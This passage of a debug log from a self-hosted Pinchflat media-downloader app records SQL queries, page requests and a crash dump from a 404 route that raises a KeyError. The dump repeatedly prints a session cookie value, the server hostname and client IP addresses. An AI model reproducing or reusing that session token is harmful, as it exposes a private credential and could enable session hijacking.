s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:13:44.345 [debug] QUERY OK source="media_items" db=0.5ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:13:44.346 [debug] QUERY OK source="media_items" db=0.8ms idle=5.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:13:44.347 [debug] QUERY OK source="sources" db=0.5ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:13:44.348 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:13:44.350 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:13:44.351 [info] Sent 200 in 18ms 23:13:44.835 [info] GET /sources/5 23:13:44.835 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 23:13:44.836 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=490.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:13:44.837 [debug] QUERY OK source="media_profiles" db=0.5ms idle=489.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:13:44.838 [debug] QUERY OK source="tasks" db=0.7ms idle=489.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 23:13:44.838 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=489.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [862] 23:13:44.839 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=488.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:44.839 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:44.840 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:44.842 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:13:44.843 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 23:13:44.844 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 23:13:44.845 [debug] QUERY OK source="sources" db=0.5ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:13:44.846 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 23:13:44.846 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 23:13:44.847 [debug] QUERY OK source="sources" db=0.5ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:13:44.848 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 23:13:44.849 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 23:13:44.850 [info] Sent 200 in 14ms 23:13:45.016 [debug] Current batch of media processed. Will check again in 1000ms 23:13:45.103 [debug] Current batch of media processed. Will check again in 1000ms 23:13:46.017 [debug] Current batch of media processed. Will check again in 1000ms 23:13:46.104 [debug] Current batch of media processed. Will check again in 1000ms 23:13:47.018 [debug] Current batch of media processed. Will check again in 1000ms 23:13:47.105 [debug] Current batch of media processed. Will check again in 1000ms 23:13:47.690 [info] GET /media_profiles/new 23:13:47.690 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 23:13:47.691 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=903.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.691 [debug] QUERY OK source="settings" db=0.4ms idle=904.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.692 [debug] QUERY OK source="settings" db=0.6ms idle=905.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.693 [debug] QUERY OK source="settings" db=0.4ms idle=906.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.694 [debug] QUERY OK source="settings" db=0.4ms idle=729.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.695 [info] Sent 200 in 5ms 23:13:47.993 [info] GET /sources/3/force_metadata_refresh 23:13:47.994 [debug] QUERY OK source="settings" db=0.6ms idle=301.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.995 [debug] QUERY OK source="settings" db=0.5ms idle=301.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:47.995 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:13:47.996 [error] #PID<0.3109.0> running PinchflatWeb.Endpoint (connection #PID<0.3108.0>, stream id 1) terminated Server: pinchflat.javi.fr:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3108.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 50966}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "connection" => "upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.40", "x-forwarded-proto" => "https", "x-real-ip" => "216.73.216.40" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA" }, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.3109.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"connection", "upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA"}, {"host", "pinchflat.javi.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.40"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "216.73.216.40"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIWk-aEz1HY_ekAACjR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3108.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 50966}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "connection" => "upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.40", "x-forwarded-proto" => "https", "x-real-ip" => "216.73.216.40" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3108.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 50966}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "connection" => "upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.40", "x-forwarded-proto" => "https", "x-real-ip" => "216.73.216.40" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA" }, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.3109.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Se (truncated) 23:13:48.019 [debug] Current batch of media processed. Will check again in 1000ms 23:13:48.106 [debug] Current batch of media processed. Will check again in 1000ms 23:13:48.492 [info] GET /media_profiles/1 23:13:48.492 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:13:48.493 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.4ms idle=799.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:13:48.494 [debug] QUERY OK source="sources" db=0.3ms queue=0.4ms idle=799.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 23:13:48.495 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=528.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:48.496 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:48.497 [debug] QUERY OK source="settings" db=0.3ms 